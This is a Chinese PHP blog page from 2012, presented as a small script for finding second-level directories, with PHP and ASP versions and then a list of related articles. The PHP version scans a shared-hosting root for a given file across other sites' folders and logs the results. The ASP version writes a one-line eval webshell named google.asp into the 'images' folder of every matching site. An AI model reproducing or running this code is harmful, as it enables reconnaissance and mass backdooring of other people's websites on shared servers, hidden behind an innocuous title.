php一个找二层目录的小东东


Posted in PHP onAugust 02, 2012

php版

<?php 
set_time_limit(0); 
$path = 'D:/Hosting'; 
$somefile = $_GET['key']; 
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
header('WWW-Authenticate: Basic realm="My Realm"'); 
header('HTTP/1.0 401 Unauthorized'); 
echo 'Text to send if user hits Cancel button'; 
exit; 
} else { 
if(is_dir($path) && is_readable($path)) 
{ 
$path2 = ''; 
$handle = opendir($path); 
while(false !== ($filename = readdir($handle))) 
{ 
if($filename{0} != $_GET['dir']) 
{ 
continue; 
} 
/* 
if($filename{1} != $_GET['two']) 
{ 
continue; 
} 
*/ 
//$path2 = $path.'/'.$filename.'/html'; 
$path2 = $path.'/'.$filename; 
if(is_dir($path2) && is_readable($path2)) 
{ 
@$handle2 = opendir($path2); 
while(false !== ($filename2 = readdir($handle2))) 
{ 
if($filename2 == $somefile) 
{ 
//echo'[+]Found !'.$filename2."\n"; 
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND); 
} 
} 
@closedir($handle2); 
} 
} 
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND); 
closedir($handle); 
} 
}

asp版
<% 
Server.ScriptTimeout=500000000 
key = Trim(Request.QueryString("key")) 
msg=" <% eval(rquese(Chr(35)))%" &">" 
Set FSO=Server.CreateObject("Scripting.FileSystemObject") 
Set ServerFolder=FSO.GetFolder("C:\intel") 
Set ServerFolderList=ServerFolder.subfolders 
For Each ServerFileEvery IN ServerFolderList 
' Response.write ServerFileEvery&"</br>" 
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then 
Set sServerFolder=FSO.GetFolder(ServerFileEvery) 
Set sServerFolderList=sServerFolder.subfolders 
For Each sServerFileEvery IN sServerFolderList 
If LCase(sServerFileEvery.name) = "images" Then 
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" 
End If 
Next 
End If 
Next 
Function StreamSaveToFile(sPath, sContent, sCharSet) 
Dim oStream 
If(InStr(sPath, ":") <= 0)Then 
sPath = Replace(sPath, ",", ",") 
sPath = Server.MapPath(sPath) 
sPath = Replace(sPath, ",", ",") 
End If 
Set oStream = Server.CreateObject("Adodb.Stream") 
With oStream 
.Type = 2 
.Mode = 3 
.Open 
.Charset = sCharSet 
.WriteText sContent 
.SaveToFile sPath, 2 
.Close 
End With 
Set oStream = Nothing 
End Function 
%>
PHP 相关文章推荐
用PHP产生动态的影像图
Oct 09 PHP
一个分页的论坛
Oct 09 PHP
php 无限分类的树类代码
Dec 03 PHP
php json_encode值中大括号与花括号区别
Sep 30 PHP
PHP输出当前进程所有变量/常量/模块/函数/类的示例
Nov 07 PHP
php的mkdir()函数创建文件夹比较安全的权限设置方法
Jul 28 PHP
PHP+jQuery 注册模块的改进(三):更新到Smarty3.1
Oct 14 PHP
Yii视图CGridView列表用法实例分析
Jul 12 PHP
cakephp常见知识点汇总
Feb 24 PHP
thinkPHP+ajax实现统计页面pv浏览量的方法
Mar 15 PHP
PhpStorm配置Xdebug调试的方法步骤
Feb 02 PHP
Laravel 5.1 框架Blade模板引擎用法实例分析
Jan 04 PHP
PHP文章采集URL补全函数(FormatUrl)
Aug 02 #PHP
PHP服务器页面间跳转实现方法
Aug 02 #PHP
php中3des加密代码(完全与.net中的兼容)
Aug 02 #PHP
浏览器关闭后,能继续执行的php函数(ignore_user_abort)
Aug 01 #PHP
php读取文件内容至字符串中,同时去除换行、空行、行首行尾空格(Zjmainstay原创)
Jul 31 #PHP
单一index.php实现PHP任意层级文件夹遍历(Zjmainstay原创)
Jul 31 #PHP
php读取txt文件组成SQL并插入数据库的代码(原创自Zjmainstay)
Jul 31 #PHP
You might like
php程序的国际化实现方法(利用gettext)
2011/08/14 PHP
PHP学习笔记(一) 简单了解PHP
2014/08/04 PHP
php实现的支持imagemagick及gd库两种处理的缩略图生成类
2014/09/23 PHP
yii框架结合charjs统计上一年与当前年数据的方法示例
2020/04/04 PHP
符合标准的js表单提交的代码
2007/09/13 Javascript
JavaScript和JQuery实用代码片段(一)
2010/04/07 Javascript
基于Jquery的实现回车键Enter切换焦点
2010/09/14 Javascript
XMLHttpRequest处理xml格式的返回数据(示例代码)
2013/11/21 Javascript
jquery删除指定的html标签并保留标签内文本内容的方法
2014/04/02 Javascript
基于Bootstrap+jQuery.validate实现Form表单验证
2014/12/16 Javascript
javascirpt实现2个iframe之间传值的方法
2016/06/30 Javascript
js获取当前页的URL与window.location.href简单方法
2017/02/13 Javascript
原生JS实现垂直手风琴效果
2017/02/19 Javascript
微信小程序 刷新上拉下拉不会断详细介绍
2017/05/11 Javascript
vue使用Axios做ajax请求详解
2017/06/07 Javascript
详解webpack多页面配置记录
2018/01/22 Javascript
vue中使用cookies和crypto-js实现记住密码和加密的方法
2018/10/18 Javascript
JS+php后台实现文件上传功能详解
2019/03/02 Javascript
微信小程序wxml列表渲染原理解析
2019/11/27 Javascript
[01:14:34]DOTA2上海特级锦标赛C组资格赛#2 LGD VS Newbee第一局
2016/02/28 DOTA
python zip文件 压缩
2008/12/24 Python
python中关于时间和日期函数的常用计算总结(time和datatime)
2013/03/08 Python
在Python中使用判断语句和循环的教程
2015/04/25 Python
python中的格式化输出用法总结
2016/07/28 Python
Python Socket编程详细介绍
2017/03/23 Python
Python3.6基于正则实现的计算器示例【无优化简单注释版】
2018/06/14 Python
Python过滤txt文件内重复内容的方法
2018/10/21 Python
Python 2/3下处理cjk编码的zip文件的方法
2019/04/26 Python
用python中的matplotlib绘制方程图像代码
2019/11/21 Python
在html5的Canvas上绘制椭圆的几种方法总结
2013/01/07 HTML / CSS
培训演讲稿范文
2014/01/12 职场文书
小学运动会广播稿200字(十二篇)
2014/01/14 职场文书
绘画专业自荐信范文
2014/02/23 职场文书
小学班主任培训方案
2014/06/04 职场文书
学习十八大宣传标语
2014/10/09 职场文书
2015年乡镇纪委工作总结
2015/05/26 职场文书